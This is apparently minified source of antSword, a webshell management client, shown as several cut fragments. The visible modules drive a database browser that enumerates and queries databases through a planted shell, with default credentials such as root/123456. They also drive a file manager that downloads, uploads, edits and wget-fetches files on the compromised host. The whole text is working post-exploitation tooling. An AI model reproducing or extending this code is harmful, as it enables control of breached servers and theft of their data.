Date*Math.random()).toString(16).substr(2,8),r=this.manager.win.createWindow(t,0,0,450,300);r.setText("添加配置"),r.centerOnScreen(),r.button("minmax").hide(),r.setModal(!0),r.denyResize();var n=r.attachToolbar();n.loadStruct([{id:"add",type:"button",icon:"plus-circle",text:"添加"},{type:"separator"},{id:"clear",type:"button",icon:"remove",text:"清空"}]);var a=r.attachForm([{type:"settings",position:"label-left",labelWidth:80,inputWidth:280},{type:"block",inputWidth:"auto",offsetTop:12,list:[{type:"combo",label:"数据库类型",readonly:!0,name:"type",options:function(){var t=[];for(var r in e.conns)t.push({text:r.toUpperCase(),value:r});return t}()},{type:"input",label:"连接字符串",name:"conn",required:!0,value:"com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456",rows:9}]}],!0);a.attachEvent("onChange",function(t,r){"type"===t&&a.setFormData({conn:e.conns[r]})}),n.attachEvent("onClick",function(t){switch(t){case"clear":a.clear();break;case"add":if(!a.validate())return"填写完整！";var n=a.getValues(),t=antSword.ipcRenderer.sendSync("shell-addDataConf",{_id:e.manager.opt._id,data:n});r.close(),toastr.success("添加配置成功!"),e.tree.insertNewItem(0,"conn::"+t,n.type.toUpperCase(),null,e.manager.list.imgs[0],e.manager.list.imgs[0],e.manager.list.imgs[0])}})}},{key:"delConf",value:function(){var e=this,t=this.tree.getSelected().split("::")[1];layer.confirm("确定删除此配置吗？",{icon:2,shift:6,title:"删除配置"},function(r){layer.close(r);var n=antSword.ipcRenderer.sendSync("shell-delDataConf",{_id:e.manager.opt._id,id:t});1===n?(toastr.success("删除配置成功！"),e.tree.deleteItem("conn::"+t),e.disableToolbar(),e.disableEditor()):toastr.error("删除配置失败！<br/>"+n)})}},{key:"getDatabases",value:function(e){var r=this;this.manager.list.layout.progressOn();var n=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+n.type].show_databases({conn:n.conn,encode:this.manager.opt.encode,dbname:["access","microsoft_jet_oledb_4_0"].indexOf(n.type)>-1?n.conn.match(/[\w]+.mdb$/):"database"},function(n){var a=n.split(" ");return 1===a.length&&""===n?(toastr.warning("执行完毕，没有结果返回"),r.manager.list.layout.progressOff()):(r.tree.deleteChildItems("conn::"+e),a.map(function(n){if(n){var a=new t(n).toString("base64");r.tree.insertNewItem("conn::"+e,"database::"+e+":"+a,n,null,r.manager.list.imgs[1],r.manager.list.imgs[1],r.manager.list.imgs[1])}}),void r.manager.list.layout.progressOff())},function(e){toastr.error("获取数据库列表失败！"+e.status||JSON.stringify(e),"ERROR"),r.manager.list.layout.progressOff()})}},{key:"getTables",value:function(e,r){var n=this;this.manager.list.layout.progressOn();var a=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+a.type].show_tables({conn:a.conn,encode:this.manager.opt.encode,dbname:r},function(a){var s=a.split(" "),o=new t(r).toString("base64");n.tree.deleteChildItems("database::"+e+":"+o),s.map(function(r){if(r){var a=new t(r).toString("base64");n.tree.insertNewItem("database::"+e+":"+o,"table::"+e+":"+o+":"+a,r,null,n.manager.list.imgs[2],n.manager.list.imgs[2],n.manager.list.imgs[2])}}),n.manager.list.layout.progressOff()})}},{key:"getColumns",value:function(e,r,n){var a=this;this.manager.list.layout.progressOn();var s=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+s.type].show_columns({conn:s.conn,encode:this.manager.opt.encode,table:"oracle"===s.type?"SELECT * FROM (SELECT A.*,ROWNUM N FROM "+n+" A) WHERE N=1":"SELECT TOP 1 * FROM "+n},function(o){var i=o.split(" "),c=new t(r).toString("base64"),l=new t(n).toString("base64");a.tree.deleteChildItems("table::"+e+":"+c+":"+l),i.map(function(r){if(r){var n=new t(r.split(" ")[0]).toString("base64");a.tree.insertNewItem("table::"+e+":"+c+":"+l,"column::"+e+":"+c+":"+l+":"+n,r,null,a.manager.list.imgs[3],a.manager.list.imgs[3],a.manager.list.imgs[3])}}),a.manager.query.editor.session.setValue("oracle"===s.type?"SELECT * FROM (SELECT A.*,ROWNUM N FROM "+n+" A ORDER BY 1 DESC) WHERE N>0 AND N<=20":"SELECT TOP 20 * FROM "+n+" ORDER BY 1 DESC;"),a.manager.list.layout.progressOff()})}},{key:"execSQL",value:function(e){var t=this;this.manager.query.layout.progressOn(),this.core["database_"+this.dbconf.type].query({conn:this.dbconf.conn,encode:this.manager.opt.encode,sql:e},function(e){t.updateResult(e),t.manager.query.layout.progressOff()},function(e){console.error(e)})}},{key:"updateResult",value:function(e){var t=e.split("\n");if(t.length<2)return console.log("数据不正确");var r=t[0].split(" | ");if(1===r.length)return toastr.warning("没有查询结果");"\r"===r[r.length-1]&&r.pop(),t.shift();var n=[];t.map(function(e){var t=e.split(" | ");n.push(t)}),n.pop();var a=this.manager.result.layout.attachGrid();a.clearAll(),a.setHeader(r.join(",").replace(/,$/,"")),a.setColSorting("str,".repeat(r.length).replace(/,$/,"")),a.setInitWidths("*"),a.setEditable(!0),a.init();for(var s=[],o=0;o<n.length;o++)s.push({id:o+1,data:n[o]});a.parse({rows:s},"json")}},{key:"disableToolbar",value:function(){this.manager.list.toolbar.disableItem("del")}},{key:"enableToolbar",value:function(){this.manager.list.toolbar.enableItem("del")}},{key:"disableEditor",value:function(){var e;["exec","clear"].map((e=this.manager.query.toolbar,this.manager.query.toolbar.disableItem).bind(e)),this.manager.query.editor.setReadOnly(!0)}},{key:"enableEditor",value:function(){var e;["exec","clear"].map((e=this.manager.query.toolbar,this.manager.query.toolbar.enableItem).bind(e)),this.manager.query.editor.setReadOnly(!1)}}]),e}();e.exports=a}).call(t,r(1).Buffer)},function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var a=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),s=antSword.language.database,o=function(){function e(t){n(this,e),this.hash=(+new Date*Math.random()).toString(16).substr(2,8);var a=antSword.tabbar;a.addTab("tab_database_"+this.hash,'<i class="fa fa-database"></i> '+t.ip,null,null,!0,!0),this.cell=a.cells("tab_database_"+this.hash),this.cell.progressOn(),this.layout_main=this.cell.attachLayout("2U"),this.layout_right=this.layout_main.cells("b").attachLayout("2E"),this.list=this.initList(this.layout_main.cells("a")),this.query=this.initQuery(this.layout_right.cells("a")),this.result=this.initResult(this.layout_right.cells("b")),this.opt=t,this.win=new dhtmlXWindows,this.win.attachViewportTo(this.cell.cell);var s=r(93)("./"+t.type+"/index");this.drive=new s({core:new antSword.core[t.type](t),"super":this}),this.cell.progressOff()}return a(e,[{key:"initList",value:function(e){var t=this;e.setText('<i class="fa fa-server"></i> '+s.list.title),e.setWidth("250");var r=["data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAPCAQAAACouOyaAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEUSURBVCjPddA9S1txAIXx370JwVCJ0YRCI4FARl2EOrrZdu4USjt0yDewg7uLk1/AF0gcXJylu7MQEUpbaCHcraGNbSik6r1/h2ZIhpzpnIdnOkxnz8B3A/vTMJ5RarpeOFGbr0RSYw+zdFb5ouXSO5/NzYJDQUdxGuZBVVGEIEOmOlljAyKxNz5YFoGykpEhCH47cBqp+Oi5X/6Bkif++gMKKnpe8cwnd95qamo6EnQnvWXsq3peEASJb2CI20l/KhOE2IqCWEWMBUsoKSJWlVOwwpVE4sYmdvQl+nax4Voi0Ys1tG0bqWPNuS1n1rFq7KX3arFMKpUJCNLJ+v9RKpXlZY7dW/QTP7S9VtbBUMOFvNwjiZlZspGW2aUAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzQrMDg6MDAa6yDqAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIxOjEyOjA2KzA4OjAwmIBnWAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADY2N7Lgj5AAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANzExhvGGCAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ5OTI2Hzsr2gAAABN0RVh0VGh1bWI6OlNpemUANy4yMUtCQtXNgY4AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU4Mi8xMTU4Mjc4LnBuZwIRWX8AAAAASUVORK5CYII=","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAPCAQAAAB+HTb/AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEXSURBVBjTZck/S5RxAADg5+f75+5t8NTUSktEKCGCFp0U8dwcBMFBNwlu1a8Rrn4CJ0drdDF0bY1e4hAFQcEbTpT0ulfPc2irZ30C3lhWNabsrz/OHPrqLFiy6dKRXEMLmWHvzXlpm1xN6l+pmrzHiKbivyw0jQR36o4cqGtqo6TfpAXz3gUnNnwwpYIHxLiR+247lmnYkhjQL0PLFda0lWOpVUN+amjoIih75dqiUnBsVcWEVEcHkUjHrbrdWMWQfd+UPZOicKfkk3u9sUdzXvjl3I0WEs+99ttH3eDEosikAYmArnu3Ij98ibXN2JEjEuNBR2bdgiJyoaaqT0kikRn0VtWsaZ8Dxq2YNyr1iB6Fc4f2nD4BUO1Rv9s0w+gAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NTA6MjYrMDg6MDB8RcVXAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIwOjUwOjM1KzA4OjAwTl0AHAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADcxMRUA1lUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANjI03HRLcwAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ4NjM1LMlreQAAABN0RVh0VGh1bWI6OlNpemUAMjEuM0tCQnpsrG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU3Ny8xMTU3NzMyLnBuZxOTOSYAAAAASUVORK5CYII=","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAABLAAAASwAJArFzAAAADgSURBVCjPfdA9L0NhGAbg660X7aaHQXo6kKYswmQUhPKT/Yl20sRQ0qKLGFjo11GW0w4t7unK/eRZ7qBsQ/BX3oMb+/j+5RjQDab//COaepUhSryZLGiLvnM7dp1oulhSN8o862FqNNfQU64sWpEaIbWuYpArNUQqBkNtAxTt6SzpgL5LNTWnWhq5mrnO9KJMzwMyQ49zzbpJVFC2iURUlggSUZKrEHxq+kDJkdtch9q5julrqKs713I911WuXpTpusfYQFdnQZPZDkFVUcVAmO8QVMXgTskYq7a9LGjN1w888l4QdsfN6AAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxNS0wNy0yNVQyMTo1MDozMiswODowMESg4doAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTQtMDQtMDZUMDk6NTM6MTcrMDg6MDA8MBsjAAAATnRFWHRzb2Z0d2FyZQBJbWFnZU1hZ2ljayA2LjguOC0xMCBRMTYgeDg2XzY0IDIwMTUtMDctMTkgaHR0cDovL3d3dy5pbWFnZW1hZ2ljay5vcmcFDJw1AAAAI3RFWHRzdmc6Y29tbWVudAAgR2VuZXJhdG9yOiBJY29Nb29uLmlvILwwrIAAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADUzM8q8AZUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANTMzWU1RyAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk2NzQ5MTk37+6JEgAAABN0RVh0VGh1bWI6OlNpemUAMi45NUtCQn9HCG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTQzNS8xMTQzNTI4LnBuZ1baGAoAAAAASUVORK5CYII=","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAPCAQAAABHeoekAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAASwAAAEsAHOI6VIAAAB1SURBVBjTY2TYyrCbATcwY2CoYsAHElgYWBjYkAT+MzAwMCLxWRgZtjHsQRIQYGBmeIvEN2VhOMswD0nAiYGXYSOcx8jwk4XhO8MHJAWfGBhQ+F+Z0BzFiM5HV4ABhoiC/yj8f+h8FgYNBh8kAQMGLobfyHwAyM8UUNk8qsEAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzYrMDg6MDCNdDHDAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTEyLTE5VDE4OjU2OjEyKzA4OjAwOU9bHwAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAAGN0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgcgt1lgAAABh0RVh0VGh1bWI6OkRvY3VtZW50OjpQYWdlcwAxp/+7LwAAABh0RVh0VGh1bWI6OkltYWdlOjpIZWlnaHQAMjY1W+dGYAAAABd0RVh0VGh1bWI6OkltYWdlOjpXaWR0aAAyNjZRH0eHAAAAGXRFWHRUaHVtYjo6TWltZXR5cGUAaW1hZ2UvcG5nP7JWTgAAABd0RVh0VGh1bWI6Ok1UaW1lADE0MTg5ODY1NzJGLGnJAAAAE3RFWHRUaHVtYjo6U2l6ZQAxLjEzS0JCW7QG7wAAAFp0RVh0VGh1bWI6OlVSSQBmaWxlOi8vL2hvbWUvd3d3cm9vdC93d3cuZWFzeWljb24ubmV0L2Nkbi1pbWcuZWFzeWljb24uY24vc3JjLzExODMwLzExODMwMjcucG5nOFxJnwAAAABJRU5ErkJggg=="],n=e.attachToolbar();return n.loadStruct([{id:"add",text:s.list.add,icon:"plus-circle",type:"button"},{type:"separator"},{id:"del",text:s.list.del,icon:"trash-o",type:"button",disabled:!0}]),n.attachEvent("onClick",function(e){switch(e){case"add":t.drive.addConf();break;case"del":t.drive.delConf()}}),{imgs:r,layout:e,toolbar:n}}},{key:"initQuery",value:function(e){var t=this;e.setText('<i class="fa fa-code"></i> '+s.query.title),e.setHeight("200");var r=void 0,n=e.attachToolbar();return n.loadStruct([{id:"exec",text:s.query.exec,icon:"play",type:"button",disabled:!0},{type:"separator"},{id:"clear",text:s.query.clear,icon:"remove",type:"button"}]),n.attachEvent("onClick",function(e){switch(e){case"clear":r.session.setValue("");break;case"exec":t.drive.execSQL(r.session.getValue())}}),r=ace.edit(e.cell.lastChild),r.$blockScrolling=1/0,r.setTheme("ace/theme/tomorrow"),r.session.setMode("ace/mode/sql"),r.session.setUseWrapMode(!0),r.session.setWrapLimitRange(null,null),r.setOptions({fontSize:"14px",enableBasicAutocompletion:!0,enableSnippets:!0,enableLiveAutocompletion:!0}),r.commands.addCommand({name:"exec",bindKey:{win:"Ctrl-E",mac:"Command-E"},exec:function(){n.callEvent("onClick",["exec"])}}),r.session.setValue('SELECT "Hello antSword :)" AS welcome;'),{editor:r,layout:e,toolbar:n}}},{key:"initResult",value:function(e){return e.setText('<i class="fa fa-inbox"></i> '+s.result.title),{layout:e}}},{key:"createWin",value:function(e){var t=(+new Date*Math.random()).toString(16).substr(2,8),r=$.extend({title:"Window:"+t,width:550,height:450},e),n=this.win.createWindow(t,0,0,r.width,r.height);return n.setText(r.title),n.centerOnScreen(),n.button("minmax").show(),n.button("minmax").enable(),n}}]),e}();t["default"]=o},function(e,t,r){(function(t){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var n=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),a=antSword.language.database,s=antSword.language.toastr,o=function(){function e(n){var s=this;r(this,e),this.opt=n,this.core=this.opt.core,this.manager=this.opt["super"],this.tree=this.manager.list.layout.attachTree(),this.parse(),this.tree.attachEvent("onClick",function(e){e.startsWith("conn::")?s.enableToolbar():s.disableToolbar();var r=e.split("::"),n=r[1].split(":");s.dbconf=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:s.manager.opt._id,id:n[0]}),n.length>1?(s.dbconf.database=new t(n[1],"base64").toString(),s.enableEditor()):s.disableEditor()}),this.tree.attachEvent("onDblClick",function(e){var r=e.split("::");if(r.length<2)throw new Error("ID ERR: "+e);switch(r[0]){case"conn":s.getDatabases(r[1]);break;case"database":var n=r[1].split(":");s.getTables(n[0],new t(n[1],"base64").toString());break;case"table":var a=r[1].split(":");s.getColumns(a[0],new t(a[1],"base64").toString(),new t(a[2],"base64").toString());break;case"column":var o=r[1].split(":"),i=new t(o[2],"base64").toString(),c=new t(o[3],"base64").toString(),l="SELECT `"+c+"` FROM `"+i+"` ORDER BY 1 DESC LIMIT 0,20;";s.manager.query.editor.session.setValue(l)}}),this.tree.attachEvent("onRightClick",function(e,t){e.startsWith("conn::")&&(s.tree.selectItem(e),s.tree.callEvent("onClick",[e]),bmenu([{text:a.list.menu.add,icon:"fa fa-plus-circle",action:s.addConf.bind(s)},{divider:!0},{text:a.list.menu.del,icon:"fa fa-remove",action:s.delConf.bind(s)}],t))})}return n(e,[{key:"parse",value:function(){var e=antSword.ipcRenderer.sendSync("shell-findOne",this.manager.opt._id),t=e.database||{};this.tree.deleteChildItems(0);var r=[];for(var n in t)r.push({id:"conn::"+n,text:t[n].type+"://"+t[n].user+"@"+t[n].host,im0:this.manager.list.imgs[0],im1:this.manager.list.imgs[0],im2:this.manager.list.imgs[0]});this.tree.parse({id:0,item:r},"json"),this.disableToolbar(),this.disableEditor()}},{key:"addConf",value:function(){var e=this,t=(+new Date*Math.random()).toString(16).substr(2,8),r=this.manager.win.createWindow(t,0,0,450,300);r.setText(a.form.title),r.centerOnScreen(),r.button("minmax").hide(),r.setModal(!0),r.denyResize();var n=r.attachToolbar();n.loadStruct([{id:"add",type:"button",icon:"plus-circle",text:a.form.toolbar.add},{type:"separator"},{id:"clear",type:"button",icon:"remove",text:a.form.toolbar.clear}]);var o=r.attachForm([{type:"settings",position:"label-left",labelWidth:90,inputWidth:250},{type:"block",inputWidth:"auto",offsetTop:12,list:[{type:"combo",label:a.form.type,readonly:!0,name:"type",options:[{text:"MYSQL",value:"mysql",list:[{type:"settings",position:"label-left",offsetLeft:70,labelWidth:90,inputWidth:150},{type:"label",label:a.form.encode},{type:"combo",label:"",name:"encode",options:function(){var e=[];return["utf8","big5","dec8","cp850","hp8","koi8r","latin1","latin2","ascii","euckr","gb2312","gbk"].map(function(t){e.push({text:t,value:t})}),e}()}]},{text:"MSSQL",value:"mssql"},{text:"ORACLE",value:"oracle"},{text:"INFORMIX",value:"informix"}]},{type:"input",label:a.form.host,name:"host",required:!0,value:"localhost"},{type:"input",label:a.form.user,name:"user",required:!0,value:"root"},{type:"input",label:a.form.passwd,name:"passwd",value:""}]}],!0);o.attachEvent("onChange",function(e,t){if("type"===e)switch(t){case"mysql":o.setFormData({user:"root",passwd:""});break;case"mssql":o.setFormData({user:"sa",passwd:""});break;default:o.setFormData({user:"dbuser",passwd:"dbpwd"})}}),n.attachEvent("onClick",function(t){switch(t){case"clear":o.clear();break;case"add":if(!o.validate())return toastr.warning(a.form.warning,s.warning);var n=o.getValues(),t=antSword.ipcRenderer.sendSync("shell-addDataConf",{_id:e.manager.opt._id,data:n});r.close(),toastr.success(a.form.success,s.success),e.tree.insertNewItem(0,"conn::"+t,n.type+"://"+n.user+"@"+n.host,null,e.manager.list.imgs[0],e.manager.list.imgs[0],e.manager.list.imgs[0])}})}},{key:"delConf",value:function(){var e=this,t=this.tree.getSelected().split("::")[1];layer.confirm(a.form.del.confirm,{icon:2,shift:6,title:a.form.del.title},function(r){layer.close(r);var n=antSword.ipcRenderer.sendSync("shell-delDataConf",{_id:e.manager.opt._id,id:t});1===n?(toastr.success(a.form.del.success,s.success),e.tree.deleteItem("conn::"+t),e.disableToolbar(),e.disableEditor()):toastr.error(a.form.del.error(n),s.error)})}},{key:"getDatabases",value:function(e){var r=this;this.manager.list.layout.progressOn();var n=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+n.type].show_databases({host:n.host,user:n.user,passwd:n.passwd},function(n){var o=n.split(" ");return 1===o.length&&""===n?(toastr.warning(a.result.warning,s.warning),r.manager.list.layout.progressOff()):(r.tree.deleteChildItems("conn::"+e),o.map(function(n){if(n){var a=new t(n).toString("base64");r.tree.insertNewItem("conn::"+e,"database::"+e+":"+a,n,null,r.manager.list.imgs[1],r.manager.list.imgs[1],r.manager.list.imgs[1])}}),void r.manager.list.layout.progressOff())},function(e){toastr.error(a.result.error.database(e.status||JSON.stringify(e)),s.error),r.manager.list.layout.progressOff()})}},{key:"getTables",value:function(e,r){var n=this;this.manager.list.layout.progressOn();var o=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+o.type].show_tables({host:o.host,user:o.user,passwd:o.passwd,db:r},function(a){var s=a.split(" "),o=new t(r).toString("base64");n.tree.deleteChildItems("database::"+e+":"+o),s.map(function(r){if(r){var a=new t(r).toString("base64");n.tree.insertNewItem("database::"+e+":"+o,"table::"+e+":"+o+":"+a,r,null,n.manager.list.imgs[2],n.manager.list.imgs[2],n.manager.list.imgs[2])}}),n.manager.list.layout.progressOff()},function(e){toastr.error(a.result.error.table(e.status||JSON.stringify(e)),s.error),n.manager.list.layout.progressOff()})}},{key:"getColumns",value:function(e,r,n){var o=this;this.manager.list.layout.progressOn();var i=antSword.ipcRenderer.sendSync("shell-getDataConf",{_id:this.manager.opt._id,id:e});this.core["database_"+i.type].show_columns({host:i.host,user:i.user,passwd:i.passwd,db:r,table:n},function(a){var s=a.split(" "),i=new t(r).toString("base64"),c=new t(n).toString("base64");o.tree.deleteChildItems("table::"+e+":"+i+":"+c),s.map(function(r){if(r){var n=new t(r.split(" ")[0]).toString("base64");o.tree.insertNewItem("table::"+e+":"+i+":"+c,"column::"+e+":"+i+":"+c+":"+n,r,null,o.manager.list.imgs[3],o.manager.list.imgs[3],o.manager.list.imgs[3])}}),o.manager.query.editor.session.setValue("SELECT * FROM `"+n+"` ORDER BY 1 DESC LIMIT 0,20;"),o.manager.list.layout.progressOff()},function(e){toastr.error(a.result.error.column(e.status||JSON.stringify(e)),s.error),o.manager.list.layout.progressOff()})}},{key:"execSQL",value:function(e){var t=this;this.manager.query.layout.progressOn(),this.core["database_"+this.dbconf.type].query({host:this.dbconf.host,user:this.dbconf.user,passwd:this.dbconf.passwd,db:this.dbconf.database,sql:e,encode:this.dbconf.encode||"utf8"},function(e){t.updateResult(e),t.manager.query.layout.progressOff()},function(e){toastr.error(a.result.error.query(e.status||JSON.stringify(e)),s.error),t.manager.query.layout.progressOff()})}},{key:"updateResult",value:function(e){var t=e.split("\n");if(t.length<2)return toastr.error(a.result.error.parse,s.error);var r=t[0].split(" | ");if(1===r.length)return toastr.warning(a.result.error.noresult,s.warning);"\r"===r[r.length-1]&&r.pop(),t.shift();var n=[];t.map(function(e){var t=e.split(" | ");n.push(t)}),n.pop();var o=this.manager.result.layout.attachGrid();o.clearAll(),o.setHeader(r.join(",").replace(/,$/,"")),o.setColSorting("str,".repeat(r.length).replace(/,$/,"")),o.setInitWidths("*"),o.setEditable(!0),o.init();for(var i=[],c=0;c<n.length;c++)i.push({id:c+1,data:n[c]});o.parse({rows:i},"json")}},{key:"disableToolbar",value:function(){this.manager.list.toolbar.disableItem("del")}},{key:"enableToolbar",value:function(){this.manager.list.toolbar.enableItem("del")}},{key:"disableEditor",value:function(){var e;["exec","clear"].map((e=this.manager.query.toolbar,this.manager.query.toolbar.disableItem).bind(e)),this.manager.query.editor.setReadOnly(!0)}},{key:"enableEditor",value:function(){var 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n=this,a=this.path+t,s=this.tasks["new"](_.download.task.name,a,_.download.task.wait);S.showSaveDialog({title:_.download.title,defaultPath:t},function(o){if(!o)return s.end(_.download.task.cancel);s.update(_.download.task.start);var i=0;n.core.filemanager.download_file({path:a},function(e,n){n.length===r?(s.success(_.download.task.success),toastr.success(_.download.success(t),w.success)):21===n.length?s.failed(n.toString()):s.failed(_.download.task.error("SizeErr: "+n.length+" != "+r))},function(e){s.failed(_.download.task.error(e)),toastr.error(_.download.error(t,e),w.error)},function(t){m.writeFileSync(o,new e.Buffer(t),{flag:"a"}),i+=t.length;var n=parseInt(100*parseFloat(i/r).toFixed(2));n%5||s.update(n+"%")})})}},{key:"wgetFile",value:function(){var e=this,t=this,r=+new Date,n=layer.prompt({title:'<i class="fa fa-cloud-download"></i> '+_.wget.title,content:'<input type="text" style="width:300px;" class="layui-layer-input" id="url_'+r+'" value="http://" placeholder="target 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h=d.slice(o,o+c);if(o+=c,0===h.length)break;i.push(h)}var p=i.length,g=function b(r){return r[0]?(l.update(parseInt((p-r.length)/p*100)+"%"),void e.core.filemanager.upload_file({path:t+u,content:r[0]},function(e){"1"===e?(r.shift(),b(r)):(l.failed(_.upload.task.failed(e)),toastr.error(_.upload.error(u,"0"===e?"":"<br/>"+e),w.error))},function(e){l.failed(_.upload.task.error(e)),toastr.error(_.upload.error(u,e),w.error)})):(l.success("100%"),toastr.success(_.upload.success(u),w.success),e.files.refreshPath(t===e.path?"":t),a(n))};g(i),n.shift()};S.showOpenDialog({properties:["openFile","multiSelections"]},function(a){a&&(a.map(function(n){var a=n.substr(n.lastIndexOf("/")+1);r[n]=e.tasks["new"](_.upload.task.name,a+" => "+t,"准备上传..")}),n(a))})}},{key:"editFile",value:function(e){var t=this,r=this.path+e,n=null,a="",s=this.createWin({title:_.editor.title(r),width:800});s.maximize(),s.progressOn();var o=e.substr(e.lastIndexOf(".")+1),i={php:"php",c:"c_cpp",cpp:"c_cpp",h:"c_cpp",coffee:"coffee",cfm:"coldfusion",css:"css",go:"golang",html:"html",ini:"ini",conf:"ini",jade:"jade",java:"java",js:"javascript",json:"json",jsp:"jsp",jsx:"jsx",less:"less",lua:"lua",md:"markdown",sql:"sql",pl:"perl",py:"python",rb:"ruby",sh:"sh",txt:"text",xml:"xml"};o in i||(o="txt");var c=s.attachToolbar(),l=[];for(var u in i){var d=i[u],f={id:"mode_"+d,text:d+" (."+u+")",icon:"code",type:"button"};u===o?f.selected=!0:0,l.push(f)}c.loadStruct([{id:"save",type:"button",icon:"save",text:_.editor.toolbar.save},{type:"separator"},{type:"spacer"},{id:"encode",type:"buttonSelect",icon:"language",openAll:!0,text:_.editor.toolbar.encode,options:function(){var e=[];return g["default"].map(function(r){var 